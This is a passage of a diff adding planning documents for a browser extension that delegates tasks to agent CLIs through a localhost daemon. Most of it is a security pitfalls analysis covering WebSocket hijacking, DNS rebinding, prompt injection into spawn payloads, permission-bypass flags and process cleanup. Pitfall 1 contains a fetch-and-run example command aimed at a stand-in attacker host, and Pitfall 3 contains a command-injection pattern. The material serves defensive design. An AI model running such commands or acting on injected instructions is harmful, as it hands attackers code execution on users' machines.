HIGH | MEDIUM | P1 | +| Recommended badge (ground truth) | MEDIUM | LOW | P1 | +| Claude Code delegation + consent + spawn channel | HIGH | HIGH | P1 | +| Streaming feed + kill switch | HIGH | MEDIUM | P1 | +| Offline → doctor UX | HIGH | LOW | P1 | +| Usage summary (subscription framing) | MEDIUM | LOW | P1 | +| Chat-mode `--resume` | HIGH | MEDIUM | P2 | +| OpenCode/Codex/Gemini adapters | MEDIUM | HIGH | P2 | +| Cross-surface resume hint | MEDIUM | LOW | P2 | +| Native-messaging wake | HIGH | HIGH | P3 | +| ACP adapter unification | MEDIUM | HIGH | P3 | + +**Priority key:** +- P1: Must have for this milestone's goal (agent CLIs as first-class side-panel providers) +- P2: Should have; natural fast-follow within the milestone arc +- P3: Deferred; revisit after the delegation channel has soak time + +## Competitor Feature Analysis + +| Feature | Cline/Roo (Claude Code provider) | Zed (ACP external agents) | Claude in Chrome / Atlas / Gemini auto-browse | Our Approach | +|---------|----------------------------------|---------------------------|-----------------------------------------------|--------------| +| Provider mixing | Agent entry in same dropdown; key field → CLI path | Separate External Agents section; agent-owned auth | N/A (single first-party agent) | Same-panel with `kind` field; agent kind shows state, not keys | +| Detection | Manual CLI path ("usually `claude`") | Registry install, no disk detection | Extension auto-connect tab on first install | Disk detection via 21-client registry + connected ground truth from the MCP handshake | +| Streaming | Wraps CLI per message; "may not stream token-by-token" | Tool-call cards, follow-agent, stop, review diffs | Narrated work log, step details, stop/take-over | stream-json event feed + existing in-browser glow/badges as "follow the agent" | +| Consent | None specific to spawning | Tool-forwarding permissions; native perms agent-owned | Ask-vs-auto modes, site allowlists, sensitive-action confirms, watch mode | Two new tiers (enable spawn, per-run) on top of FSB's existing browsing consent | +| Sessions | Stateless replay per message | Threads = agent sessions; import/restore | Per-task; no CLI session concept | Task-mode v1 → `--resume` chat-mode v1.x; thread↔session id surfaced | +| Cost | $0.00 for subscription runs | Agent-owned; not surfaced | Subscription-metered invisibly | Tokens/turns/duration + "included in subscription"; dollars only for API kind | + +## Sources + +- [Zed external agents docs](https://zed.dev/docs/ai/external-agents) + [GitHub source](https://github.com/zed-industries/zed/blob/main/docs/src/ai/external-agents.md) (fetched 2026-07-10); [Bring Your Own Agent blog](https://zed.dev/blog/bring-your-own-agent-to-zed); [Agent Panel docs](https://zed.dev/docs/ai/agent-panel); [zed#50142 diff-review gap for external agents](https://github.com/zed-industries/zed/issues/50142) +- [Agent Client Protocol — protocol overview](https://agentclientprotocol.com/protocol/overview) (`session/new`, `session/load`, `session/update`, `session/request_permission`, `session/cancel`, `initialize`/`authenticate`) (fetched 2026-07-10) +- [Cline Claude Code provider docs](https://docs.cline.bot/provider-config/claude-code); [Cline blog: Claude Max in Cline ($0.00 display)](https://cline.bot/blog/how-to-use-your-claude-max-subscription-in-cline); [Cline: ChatGPT subscription via Codex OAuth](https://cline.ghost.io/introducing-openai-codex-oauth/); [Roo Code PR #4864](https://github.com/RooCodeInc/Roo-Code/pull/4864) +- [Claude Code headless docs — `-p`, stream-json events, `--resume`, permissions, `--agents`, `total_cost_usd`](https://code.claude.com/docs/en/headless) (fetched 2026-07-10); [Claude Code with Chrome docs — connection, plan-mode read/write split, error table](https://code.claude.com/docs/en/chrome) (fetched 2026-07-10) +- [Claude in Chrome permissions guide](https://support.claude.com/en/articles/12902446-claude-in-chrome-permissions-guide); [Use Claude in Chrome safely](https://support.claude.com/en/articles/12902428-use-claude-in-chrome-safely) +- [OpenAI: Introducing ChatGPT Atlas (2025-10-21)](https://openai.com/index/introducing-chatgpt-atlas/); [Atlas agent help](https://help.openai.com/en/articles/12628199-using-ask-chatgpt-sidebar-and-chatgpt-agent-on-atlas) +- [Google: Gemini 3 auto-browse in Chrome (Dec 2025)](https://blog.google/products-and-platforms/products/chrome/gemini-3-auto-browse/); [9to5Google on agentic security (2025-12-08)](https://9to5google.com/2025/12/08/gemini-chrome-agentic-security/) +- [Apple: Setting up coding intelligence (Xcode 26)](https://developer.apple.com/documentation/xcode/setting-up-coding-intelligence); [9to5Mac (2025-08-28)](https://9to5mac.com/2025/08/28/new-xcode-beta-now-available-with-gpt-5-and-claude-support/) +- [GitHub Agent HQ announcement (2025-10)](https://github.blog/news-insights/company-news/welcome-home-agents/); [Pick your agent: Claude and Codex on Agent HQ](https://github.blog/news-insights/company-news/pick-your-agent-use-claude-and-codex-on-agent-hq/) +- [Conductor docs (bundled CLIs, login detection)](https://docs.conductor.build/); [Happy features (remote permission approvals, streaming)](https://happy.engineering/docs/features/); [Vibe Kanban agent profiles](https://vibekanban.com/docs/configuration-customisation/agent-configurations); [OpenCode server docs](https://opencode.ai/docs/server/); [Smithery CLI](https://smithery.ai/docs/concepts/cli) +- Codex sessions/resume: [developers.openai.com Codex CLI](https://developers.openai.com/codex/cli/features); [codex resume guide](https://inventivehq.com/knowledge-base/openai/how-to-resume-sessions). Gemini sessions: [Gemini CLI session management](https://geminicli.com/docs/cli/session-management/) +- Anthropic subscription-OAuth ban (Jan-Apr 2026): [The Register (2026-02-20)](https://www.theregister.com/2026/02/20/anthropic_clarifies_ban_third_party_claude_access/); [anthropics/claude-code#28091](https://github.com/anthropics/claude-code/issues/28091); [Kersai workaround survey](https://kersai.com/anthropic-killed-third-party-claude-access-heres-every-workaround-that-still-works/). **Note:** wrapping the *genuine* binary is not explicitly blessed in writing — LOW-MEDIUM confidence on formal permission, HIGH confidence on ecosystem practice (Cline/Roo/Zed/Conductor all ship it as of 2026-07) +- Cursor BYOK restrictions (anti-feature evidence): [APIpie fix guide](https://apipie.ai/docs/blog/Cursors-Does-Not-Work-with-Your-Current-Plan-or-API-Key-Fix) + +--- +*Feature research for: v0.9.91 MCP Clients as Providers (agent CLIs as side-panel providers)* +*Researched: 2026-07-10* diff --git a/.planning/milestones/v0.9.91-research/PITFALLS.md b/.planning/milestones/v0.9.91-research/PITFALLS.md new file mode 100644 index 000000000..390e8c245 --- /dev/null +++ b/.planning/milestones/v0.9.91-research/PITFALLS.md @@ -0,0 +1,698 @@ +# Pitfalls Research — v0.9.91 MCP Clients as Providers + +**Domain:** Localhost daemon spawning agent CLIs on request from a browser (MV3) surface, driving the user's live tabs via FSB's MCP tools +**Researched:** 2026-07-10 +**Confidence:** HIGH (security section verified against 2025-2026 CVEs and vendor advisories; MV3/child_process sections verified against Chrome/Node.js docs; product sections HIGH on Anthropic/OpenAI vendor pages) + +## Executive Framing + +The v0.9.91 delegation channel turns a browser click ("Run this task with Claude Code") into `execve(claude, -p, )` inside a localhost daemon that already speaks MCP to the extension. That composition — **browser-origin request → localhost daemon → CLI subprocess with the user's shell privileges → MCP tools that drive the live browser** — has been an active RCE surface across the entire 2025-2026 wave of agent tooling incidents (MCP Inspector CVE-2025-49596, MCP SDK DNS-rebinding CVE-2025-66414/66416, Claude Code project-files CVE-2025-59536, Gemini CLI CVSS 10 workspace-trust bypass, TrustFall one-keypress RCE across Claude/Cursor/Gemini/Copilot). Every one of these was a "trust boundary was assumed but never enforced" failure. This milestone must ship enforcement in the first phase that opens the spawn channel; every pitfall below has been chosen to prevent one specific incident class that has already happened in the wild. + +--- + +## Critical Pitfalls + +### Pitfall 1: Missing Origin / Host validation on the ws://localhost:7225 delegation channel (CSWSH → spawn RCE) + +**What goes wrong:** +An attacker-controlled webpage the user visits in another tab opens a WebSocket to `ws://localhost:7225`, sends the same "spawn Claude Code with prompt X" reverse-request the extension would send, and the daemon happily spawns `claude -p "curl attacker.com/x | sh"` with the user's shell privileges. This is textbook Cross-Site WebSocket Hijacking (CSWSH). Mailpit, Dozzle (CVE-2026-44985), and Nanobot WhatsApp Bridge all shipped this exact vulnerability in 2025-2026 by accepting all origins. + +**Why it happens:** +Localhost feels safe. WebSocket handshakes are HTTP under the hood but browsers do not enforce CORS on WebSocket upgrades — same-origin policy does not apply. Developers assume `bind: 127.0.0.1` = "only my code can reach it". It is not: any page in any tab, extension, or app on the machine can dial localhost freely. + +**How to avoid:** +1. **Strict `Origin` allowlist on `WebSocket upgrade`.** Reject the handshake if `Origin` header is not `chrome-extension://` or an explicit dashboard origin. The existing `tests/mcp-bridge-topology.test.js` already rejects untrusted browser origins for MCP — extend the same check to the new reverse-request channel. +2. **`Sec-WebSocket-Protocol` or query-string shared secret.** Extension sends a randomly generated per-install token; daemon rejects handshakes without it. Rotate on daemon restart. Do not rely on this alone (see Pitfall 5); pair it with Origin. +3. **`Host` header must equal `127.0.0.1:7225` or `localhost:7225`.** Anything else is DNS rebinding. +4. **Never bind to `0.0.0.0`.** Only `127.0.0.1`. `0.0.0.0` also binds LAN and Docker bridges. + +**Warning signs:** +- Any handler that does not check `req.headers.origin` before `ws.accept()`. +- Any code path that accepts a spawn request from a message received before both Origin and shared-secret checks passed. +- Bridge topology tests that only test extension→daemon success, never attacker-page→daemon rejection. + +**Phase to address:** +Phase 60 (the phase that first opens the reverse-request channel). Zero exceptions — this cannot be deferred to a "hardening" phase because the daemon is already RCE-adjacent from the moment `claude -p ` becomes callable from the wire. + +--- + +### Pitfall 2: DNS rebinding against ws://localhost:7225 (RCE via attacker-controlled DNS) + +**What goes wrong:** +Attacker publishes DNS for `evil.com` with TTL 0 pointing first to their server, then to `127.0.0.1`. Victim visits `evil.com`; the browser fetches the malicious JS with `Origin: https://evil.com`. That page opens `WebSocket("ws://evil.com:7225")`. Second DNS lookup returns 127.0.0.1. The browser sends the handshake to the daemon with `Origin: https://evil.com` and `Host: evil.com:7225`. If either check is loose, the daemon spawns a subprocess for the attacker. + +Every major MCP SDK shipped this vulnerability in 2025: **CVE-2025-66414** (TypeScript SDK) and **CVE-2025-66416** (Python SDK) — DNS rebinding protection was disabled by default on localhost. MCP Inspector's **CVE-2025-49596** (CVSS 9.4) was the same class: the browser-facing proxy accepted arbitrary stdio commands with no origin gate, and DNS rebinding turned it into 1-click RCE for anyone visiting a page while running Inspector. + +**Why it happens:** +Developers whitelist "localhost" or "127.0.0.1" on `Host` and think they are done, but they never verify that the browser actually resolved the target as loopback. The attacker's `Host: evil.com` does not fail an equality check against "127.0.0.1" — it just fails a poorly-designed one. + +**How to avoid:** +1. **Reject any `Host` header whose left side is not `127.0.0.1` or `localhost`.** Case-fold and strip port before compare. +2. **Reject any `Origin` not in the extension-ID allowlist** (see Pitfall 1). Origin is the primary defense; Host is defense-in-depth. +3. **Reference the fix ship path:** MCP TypeScript SDK 1.24.0+ and Python SDK 1.23.0+ added `enableDnsRebindingProtection: true` — the fix pattern (Host validation + Origin allowlist) is documented; port it directly. +4. **Test with a rebind fixture.** Add a test that sends a handshake with `Origin: https://evil.com` and `Host: 127.0.0.1:7225` — must reject even though Host is loopback. + +**Warning signs:** +- Any comment saying "we only bind to localhost, so this is safe." +- Missing `enableDnsRebindingProtection`-equivalent in the WS server config. +- Test suite lacks an explicit rebind rejection case. + +**Phase to address:** +Phase 60 (same phase as Pitfall 1 — same code path). Tests must include both Origin-mismatch and Host-mismatch fixtures before merge. + +--- + +### Pitfall 3: Prompt injection into the spawn-with-user-prompt payload → RCE + +**What goes wrong:** +The side panel receives a task prompt like "Book me a flight to Tokyo". That prompt is passed via the reverse-request channel to the daemon, which invokes `claude -p "" ...`. If the prompt payload can carry a nested MCP `initialize` block, config-file path, or repository trust dialog answer, an attacker who tricks the user into pasting a poisoned prompt (or who owns a page that generates suggested prompts) can: +- Force `--dangerously-skip-permissions` into the flag set (see Pitfall 4). +- Point `--mcp-config` at a malicious config that auto-approves a shell-executing MCP server. +- Embed hidden instructions the CLI treats as guidance the moment it reads a page. + +Real 2025-2026 evidence: **CVE-2025-59536** (Claude Code project files → RCE + API token exfiltration), **CVE-2025-54794 / CVE-2025-54795** (whitelisted-command injection: `echo "\"; ; echo \""`), **TrustFall** (folder-trust bypass across Claude/Cursor/Gemini/Copilot CLIs, disclosed May 2026, one Enter keypress = RCE), and the Palo Alto Unit 42 write-up documents in-the-wild indirect prompt injection where a Reddit comment caused an agent browser to exfiltrate private data. + +**Why it happens:** +Developers treat the "prompt" as opaque text and hand it to the CLI as-is. But every agent CLI's process model is: (prompt + tool results + file contents) → LLM → tool calls. The moment the daemon executes `claude -p `, every downstream trust boundary in the CLI is being asked to defend against attacker-supplied text that arrived from a browser. + +**How to avoid:** +1. **Extension is the ONLY origin of the delegation request.** Never accept a spawn request whose prompt came from an external page (side panel is the single canonical origin). The bridge already rejects untrusted browser origins for MCP — the delegation channel must apply the same rule. +2. **Strict argv construction.** No shell interpolation; use `execFile`/`spawn` with an argv array, never `sh -c`. Cite: CVE-2025-54795 was command-injection through whitelisted commands — never build the argv by concatenating strings. +3. **Fix the flag set daemon-side, not client-side.** The daemon supplies `--strict-mcp-config`, agent-definition path, permission mode, and cwd; the extension provides ONLY the prompt string and adapter selector. If any flag can be overridden by the reverse-request payload, treat it as a control-plane input and reject unknown keys. +4. **Ship the `fsb` agent definition instead of prompt-stuffing.** The Key Context in PROJECT.md already commits to this — enforce it: user prompt goes to `--append-system-prompt` or `-p` positional, never into `--system-prompt` or `--mcp-config`. +5. **Consent tiers.** First delegation to a given CLI must be explicit-user-approve (control-panel toggle). Subsequent runs in the same session can be silent. Explicit warning language ("This will spawn Claude Code on your machine with permission to control this browser"). +6. **Log-only prompt review.** Persist every prompt sent to a CLI in a ring buffer (redacted for secrets); surface it in a "recent delegations" list. Post-facto audit is the last line of defense. + +**Warning signs:** +- The delegation payload accepts arbitrary CLI flags from the wire. +- Any string is passed to a shell (`sh -c`, `bash -c`, `cmd /c`). +- The extension side-panel prompt input is not distinguishable from a prompt injected via a content-script message or an external page. +- No storage of executed prompts for post-hoc audit. + +**Phase to address:** +Phase 60 (channel design) for the argv/flag-fix, Phase 61 (adapter contract) for the "no external-page origins" rule, Phase 62 (UX consent) for the first-time approval tier. This pitfall spans multiple phases because it is a defense-in-depth problem; do NOT let any of the three slip. + +--- + +### Pitfall 4: Auto-approve / `--dangerously-skip-permissions` as a default or convenience option + +**What goes wrong:** +"MVP should just work" pressure leads to shipping `--dangerously-skip-permissions` (Claude Code), `--yolo` (Gemini CLI), or `--full-auto` (Codex `exec` with auto-approval) as the default or as a one-click toggle. The moment that flag is on, any prompt injection (Pitfall 3), any CSWSH (Pitfall 1), any rebinding (Pitfall 2), or any repository-trust bypass (TrustFall) becomes silent RCE with the user's full shell privileges. + +The `--dangerously-skip-permissions` name was chosen by Anthropic literally because "it's exactly what happens." Vendors classify it as user's-informed-consent territory — meaning your product, not theirs, is on the hook if you ship it as a convenience default. + +**Why it happens:** +Confirmation prompts hurt demo videos. Product wants "one click and it goes." Engineering knows the safe path is annoying. The `--yolo` name in Gemini CLI ships for the same reason. Then TrustFall (May 2026) proved every agent CLI's trust dialog can be bypassed by malicious project settings, meaning even the vendor's own confirmation UI is not always reliable. + +**How to avoid:** +1. **Never expose `--dangerously-skip-permissions` or equivalent through FSB's spawn payload.** The daemon controls the flag set; the reverse-request channel cannot request it. This must be a permanent invariant, not an "MVP posture we relax later." +2. **Default to Claude Code's `--permission-mode strict` or the equivalent tightest mode.** Every subsequent tool call inside the CLI goes back through user consent — either via the CLI's own dialog OR (better) via FSB's own MCP consent surface. +3. **Route permission prompts back to the side panel.** When the spawned CLI asks "run rm -rf?", the CLI's dialog must be captured (via `--permission-prompt-tool` or the ACP equivalent) and reflected in FSB's UI, not answered by the daemon. FSB owns the yes/no because FSB owns the human. +4. **Explicit "advanced" mode gate.** If a user genuinely wants a looser posture, require a control-panel checkbox that names the specific risk ("This lets the agent modify files without asking. Attackers who reach this channel can run arbitrary code."). Do not name the toggle "Fast mode." + +**Warning signs:** +- Any code that has a boolean like `autoApprove: true` in the adapter contract. +- Any UI copy that describes bypass as "faster" or "smoother" without naming the risk. +- Any test that requires bypass to be on for the flow to succeed. If your happy path needs bypass, your happy path is broken. + +**Phase to address:** +Phase 60 (adapter contract locks the flag set) + Phase 62 (UX explicitly denies the "make it fast" toggle). Add a lint or test that grep-fails the build if `--dangerously-skip-permissions` appears anywhere in the daemon spawn path outside a marked "advanced-mode" branch. + +--- + +### Pitfall 5: Weak / leaked shared secret between extension and daemon + +**What goes wrong:** +The extension→daemon shared secret leaks via any of: `chrome.storage.local` (readable by other extensions with the right permission and by any process that reads the profile directory), diagnostic logs (redaction gap), the URL query string of a WebSocket handshake (logged by proxies and by some OS-level packet capture), or a static config file the daemon reads with world-readable permissions. Anything with the secret can spawn arbitrary CLIs as the user. + +**Why it happens:** +It is easy to write `?token=abc123` in the WS URL. It is easy to `console.log(token)` while debugging. It is easy to store the secret in `chrome.storage.local` and forget that `chrome.storage.local` is NOT the same trust boundary as macOS Keychain. + +**How to avoid:** +1. **Per-install random token (>=32 bytes, `crypto.randomUUID()` at minimum, prefer `getRandomValues(new Uint8Array(32))`).** +2. **Rotate on daemon restart.** The extension picks up the new token via a small pairing handshake gated by (a) the daemon writing a file under the user's home directory with mode 0600 that the extension reads via a native manifest, or (b) a one-time pairing code the user copies from `fsb-mcp-server pair`. +3. **Send in `Sec-WebSocket-Protocol` (never the URL).** URL query strings show up in access logs, DevTools waterfalls, and proxy captures. `Sec-WebSocket-Protocol` is a first-class handshake header. +4. **Redaction bar covers the token.** Extend the existing `redactForLog` helper (from v0.9.45rc1 Phase 211) to strip `token=...` and `Sec-WebSocket-Protocol: fsb-...` patterns. +5. **Do NOT make the token the only defense.** Origin allowlist (Pitfall 1) is still primary. If the token leaks (it will eventually), the Origin check must still block attacker pages. + +**Warning signs:** +- Token appears in any `console.log` or diagnostic ring buffer entry. +- Token stored in `chrome.storage.sync` (syncs across devices — huge leak surface). +- File-based token has mode > 0600. +- Rotation policy is "never" or "on Chrome restart" (which almost never happens). + +**Phase to address:** +Phase 60 (channel design + secret contract). The rotation UX ships with Phase 62. + +--- + +### Pitfall 6: Zombie/orphaned child processes on cancel or crash (especially on Windows) + +**What goes wrong:** +User clicks "Cancel". Daemon calls `child.kill()`. On POSIX, that sends SIGTERM to the parent CLI process — but Claude Code / Codex / Gemini CLI often spawn sub-processes (git, ripgrep, MCP servers, editors). The signal does not propagate to the tree. Sub-processes keep running, keep charging tokens, and if any of them held a `chrome.debugger` attachment or a browser session, they keep manipulating the browser after the user thought they cancelled. On Windows, POSIX signals do not exist at all — the `kill()` call is essentially always SIGKILL and does not walk the tree. + +Evidence: **Auto-Claude issue #1252** ("Process cleanup broken - zombie processes accumulate after app close") documents this exact class on Windows. The Node.js docs state explicitly: "On Windows... signal argument will be ignored except for 'SIGKILL', 'SIGTERM', 'SIGINT' and 'SIGQUIT', and the process will always be killed forcefully." Multiple community write-ups document that `child_process.kill()` on Linux does not kill grandchildren. + +**Why it happens:** +Node's `child.kill()` API is deceptively simple. Developers assume the platform does tree-kill. It does not. Also, `wait/waitpid` is not exposed to Node scripts, so zombies (dead-but-unreaped children) accumulate silently. + +**How to avoid:** +1. **Spawn detached with a new process group.** POSIX: `spawn(cmd, args, { detached: true })` then `process.kill(-child.pid, 'SIGTERM')` (negative PID = kill the group). Give a graceful window (5 s) then `SIGKILL -child.pid`. +2. **Windows: use `taskkill /pid /T /F`.** `/T` = tree, `/F` = force. This is the only reliable tree kill on Windows. +3. **Cross-platform: use a well-tested library.** `tree-kill` npm package handles both. Verify it is maintained (last audit in v0.9.30 covered `chrome.tabs` — do a fresh look here). +4. **Watchdog for orphans.** On daemon startup, scan the process tree for any `claude`/`codex`/`gemini` process whose parent is init/1 and whose command line contains an FSB-tagged env var (`FSB_DELEGATION_ID=...`). Kill it. This prevents accumulation after daemon crashes. +5. **Reap on exit.** Register `child.on('exit', ...)` to `waitpid` implicitly (Node's default) — but log exits so accumulating zombies get diagnosed. +6. **Handle `child.on('error')`.** Every spawn can fail (ENOENT, EPERM); missing error handlers leave dangling promises the UI never resolves. + +**Warning signs:** +- Any `child.kill()` without a `{ detached: true }` spawn and negative-PID kill. +- No Windows-specific `taskkill /T` branch. +- No orphan scan on daemon startup. +- User reports of "Claude Code kept running after I cancelled" or unexplained token burn. + +**Phase to address:** +Phase 61 (adapter contract defines kill semantics per adapter). This is a "shipped-wrong-once, sits in the wild forever" pitfall — get it right first time. + +--- + +### Pitfall 7: Stdout backpressure on stream-json output deadlocks the CLI + +**What goes wrong:** +Claude Code's `--output-format stream-json` and Codex's `--json` both emit newline-delimited JSON at the rate the model produces tokens (fast — thousands of lines per minute for a chatty run). The daemon reads `child.stdout`. If the daemon does NOT drain the stdout stream fast enough (or holds it while awaiting an async op), the kernel pipe buffer fills, `write()` in the child blocks, and the CLI deadlocks with the model half-through a turn. The stall looks like "Claude is thinking" to the user, but the CLI is not — it is blocked on write. + +Node.js streams do this correctly IFF you use `pipe()` or `pipeline()`, but if you use manual `stdout.on('data', ...)` and do async work in the handler without pausing/resuming, you WILL leak or deadlock. From the Node docs: "When a false value is returned, the backpressure system kicks in. It will pause the incoming Readable stream from sending any data..." + +**Why it happens:** +Developers treat stdout like "just a stream of text" and forget it is a real OS pipe with a real 64 KB buffer. + +**How to avoid:** +1. **Use `readline.createInterface({ input: child.stdout })` for line-by-line JSONL parsing.** Do not accumulate the raw buffer in memory. +2. **Emit every parsed event immediately to the extension via the existing bridge; do not await downstream work in the parse callback.** If you must, buffer to a bounded in-memory queue with backpressure. +3. **Cap the queue.** If the extension side stops reading (side panel closed), the queue must either drop-with-notice or apply backpressure back to the CLI via `child.stdout.pause()`. +4. **Route stderr separately.** Codex sends progress to stderr, final message to stdout. Do not merge streams; each has its own backpressure. +5. **Log the read rate.** If stdout emission suddenly drops for >10 s but the child is still alive, that is either the model hanging OR a backpressure deadlock — surface as a diagnostic. + +**Warning signs:** +- Manual `Buffer.concat(chunks)` accumulation in the stdout handler. +- Any `await someLongOp()` inside the `data` event handler. +- User reports of "Claude gets stuck at the same step every time." + +**Phase to address:** +Phase 61 (adapter contract). The base adapter should expose a `stream()` async iterator; individual adapters (Claude/Codex/Gemini) fill in the parse rules. + +--- + +### Pitfall 8: Daemon crashes mid-run and the spawned CLI keeps controlling the browser + +**What goes wrong:** +Daemon process dies (OOM, uncaught exception, SIGSEGV in a native module). The spawned `claude -p` process was NOT parented under a process group the OS will reap; it becomes a zombie with `init` as its new parent. Its MCP client still holds a WebSocket to the extension (which auto-reconnects). It keeps executing tool calls the user cannot see because the side panel lost its progress stream when the daemon died. The browser gets clicked at, the user is confused. + +**Why it happens:** +`{ detached: true }` for tree-kill (Pitfall 6) creates exactly this failure mode if it is not paired with a parent-liveness protocol. + +**How to avoid:** +1. **Extension-side heartbeat.** Every N seconds, extension pings the daemon; if 3 pings missed, extension terminates all agent-owned tabs' MCP sessions and marks agents as `daemon:disconnected`. Existing v0.9.60 agent-cap and connection-id reconnect grace patterns extend cleanly. +2. **Spawned CLI must exit if its MCP transport dies.** For CLIs that connect to FSB's MCP as a client (they do), the transport disconnection should terminate the CLI. Verify per adapter: Claude Code exits when MCP dies? Codex? Gemini? Document per-adapter behavior in the adapter contract. +3. **Daemon restart handshake.** On restart, daemon lists live child processes via the FSB env-var scan (Pitfall 6 #4) and either adopts them (rejoin) or kills them. Do NOT default to adopt — a resurfaced daemon with a stale token is exactly the CSWSH scenario in Pitfall 1. +4. **Side-panel graceful "daemon offline → doctor" state.** PROJECT.md already commits to this in "Key context" — enforce that Phase 62 ships it before the delegation MVP claims ready. + +**Warning signs:** +- No daemon-liveness heartbeat. +- CLI processes survive daemon exit and continue reaching the extension via MCP. +- Doctor state is a spinner instead of an actionable "Restart daemon: `npx -y fsb-mcp-server serve`" step. + +**Phase to address:** +Phase 62 (daemon lifecycle + doctor handoff). Add a test that spawns a fake CLI, kills the daemon, and asserts the extension sees the outage within 10 s. + +--- + +### Pitfall 9: Agent CLI stdout/flag/schema drift between versions + +**What goes wrong:** +Claude Code ships a new version that renames `--output-format stream-json` → `--stream=json`, or Codex renames event fields (`item.type` → `item.kind`). FSB delegation instantly breaks silently: the CLI runs, but the daemon does not recognize any events, the side panel shows nothing, the user sees "Claude is thinking" forever. Alternatively: the CLI's JSONL schema adds a new event type FSB does not handle, and FSB either crashes on `undefined` fields or shows garbled state. + +Evidence: the Claude Code `stream-json` format is documented as evolving (open GitHub issues #24594 and #24612 in 2026 asking Anthropic to actually document the schema); users report `--continue` silently creating a new session in non-interactive `-p` mode (see Pitfall 12); Anthropic paused a June 15 billing change for `claude -p` after the ecosystem reacted, showing the CLI surface is under active behavior churn. + +**Why it happens:** +Agent CLIs are moving faster than any documented contract. FSB does not own them. + +**How to avoid:** +1. **Adapter version detection.** Every adapter runs ` --version` on selection and records the version in the agent-provider metadata. Ship a compatibility matrix per adapter (e.g., "Claude Code ≥ 2.1 confirmed; 1.x unsupported"). +2. **Fail loudly on unknown events.** Parse every JSONL line; if `event.type` is not in the known set, log with the raw line, DO NOT drop silently. Surface as `agent_protocol_drift` in the diagnostics ring buffer. +3. **Schema smoke on adapter update.** CI job runs each adapter against a canned "print hello and exit" prompt, asserts a known event sequence. Detects drift on every new adapter release. +4. **Doctor exposes the version.** `fsb-mcp-server doctor` shows adapter versions so users can report mismatches. +5. **Adapter contract makes parse errors non-fatal to the run.** An unknown event should not kill the CLI — just annotate the progress stream "1 event not understood." + +**Warning signs:** +- Adapter code references specific event field names without a schema version guard. +- Any `switch (event.type) { case 'x': ...; }` without a `default: log unknown`. +- User bug reports of "delegation used to work, broke after I updated Claude Code." + +**Phase to address:** +Phase 61 (adapter contract MUST embed version + compatibility). Phase 63 (CI drift-smoke gate) — this deserves its own phase because the drift will keep happening across the milestone's life. + +--- + +### Pitfall 10: MV3 service worker eviction during a long delegated run kills the extension side of the pipeline + +**What goes wrong:** +User kicks off a 45-minute delegation task. Chrome's MV3 service worker terminates after **30 seconds of inactivity** and after **5 minutes on any single event**. The spawned CLI is still running fine in the daemon; the daemon's MCP link auto-reconnects when the SW respawns; but every SW respawn drops in-memory state (running delegation → agent-id mapping, progress buffer, side-panel channel), and the user's side panel goes blank or worse — the side panel shows a stale state that does not match what the CLI is actually doing. + +Chrome docs: "The service worker terminates after 30 seconds of inactivity" and "The service worker terminates if a single request... takes longer than 5 minutes to process." WebSocket messages reset the idle timer (Chrome 116+), which helps IF the delegation heartbeats fast enough — but if the model pauses for 60 s on a hard step, the SW dies mid-run. + +**Why it happens:** +MV3 was designed for reactive, short-lived event handlers. Delegated runs are neither. + +**How to avoid:** +1. **Persist delegation state in `chrome.storage.session`** (v0.9.36's visual-session pattern already does this; extend the same discipline). Every progress event → write. On SW respawn → read. +2. **Heartbeat WebSocket every 20 s from the daemon side.** Even if the CLI is silent, send a `keep_alive` frame. This resets the SW's 30 s idle timer. +3. **Load-bearing pattern from v0.10.0 INV-04:** the `setTimeout`-chained iterator survives SW eviction. Extend that pattern to the delegation supervisor — write state before each await, resume from persisted state on wake. +4. **Do NOT rely on offscreen documents for WebSocket.** Chrome does not officially support WebSocket in offscreen documents (per the Chrome team). The offscreen doc pattern is for audio and DOM parsing, not for network keepalive. +5. **Alarm-based backup.** `chrome.alarms.create('fsb-delegation-heartbeat', { periodInMinutes: 0.5 })` fires even if idle; use to poll persisted state. +6. **Warn the user for very long runs.** If a delegation crosses 5 min, show "Long run in progress — do not close the browser." + +**Warning signs:** +- Any in-memory Map in the SW that holds delegation state. +- No `chrome.storage.session` write after each progress event. +- Test suite lacks a "kill SW mid-delegation, respawn, assert state recovery" case. + +**Phase to address:** +Phase 62 (SW lifecycle + persistence for delegated runs). Verify the v0.9.24 `setTimeout`-iterator pattern was preserved through v0.10.0 Lattice integration — INV-04 is load-bearing here. + +--- + +### Pitfall 11: Source-pin tripwire tests break the moment the extension gets wired to delegation + +**What goes wrong:** +FSB's test suite pins **exact token counts and exact substrings** in extension source files (e.g., `extension/background.js`). Even a comment change breaks tests. The v0.9.91 milestone REQUIRES adding delegation wiring to `background.js`, `ui/onboarding.js`, `ui/control_panel.html`, and `engine-config.js` (fifth EXECUTION_MODES entry). Any edit will trip the pin unless the test is updated in the same commit. The auto-memory note is explicit: "even comments (e.g. the word 'importScripts' in background.js) break the suite." + +**Why it happens:** +Tripwires were added to catch accidental deletions/regressions. They cannot distinguish accidental from intentional. + +**How to avoid:** +1. **Run the full test suite from commit 1 of the milestone.** PROJECT.md Key Context already commits to this — enforce it (CI gate on every PR). +2. **Every extension-source edit must include a paired tripwire update in the same commit.** Grep the test suite for the file being edited BEFORE editing; enumerate pinned substrings/counts; plan the updates. +3. **New symbols in `background.js` must have their tripwire seeded from the first commit** (initial token-count pin, initial substring assertion). Do not "add later" or the diff over the milestone becomes untraceable. +4. **The delegation dispatcher must integrate through `fsbDispatchInternalMessage` (background.js:8731)** — do NOT use `chrome.runtime.sendMessage` for same-SW-context dispatch. Auto-memory: "sendMessage never loops back in-SW." Same-context dispatch pattern was chosen deliberately in the Phase 225-01 bus. + +**Warning signs:** +- CI red on the first extension-wiring commit with a "token count mismatch" or "substring not found" error. +- Any use of `chrome.runtime.sendMessage` from background code to another background handler. +- New extension source without a corresponding new tripwire. + +**Phase to address:** +Every phase that touches extension source. Add a milestone-level gate in Phase 57 (requirements definition) that says "no extension-side phase can merge if the tripwire suite is red." + +--- + +### Pitfall 12: Chat-thread vs one-shot mismatch (`--resume` vs `-p` semantics) + +**What goes wrong:** +User expects delegation to be a conversation — they type a follow-up, agent picks up where it left off. FSB naively uses `claude -p ` each time. Each call is a fresh session; the agent has no memory of the previous turn. Alternatively: user thinks the same "conversation" is running in parallel across two side-panel starts; actually two sessions collide. + +Documented Claude Code footgun: **"In non-interactive mode with `-p`, `--continue` can silently create a new session rather than resuming the existing one."** Scripts that rely on `--continue` for stateful pipeline work fail silently. Explicit `--resume ` is the only reliable mode. + +**Why it happens:** +`-p` (print-and-exit) and `--resume` are two different execution models; the CLIs make it too easy to invoke `-p` without realizing chat continuity is off. + +**How to avoid:** +1. **Adapter contract has explicit `mode: 'task' | 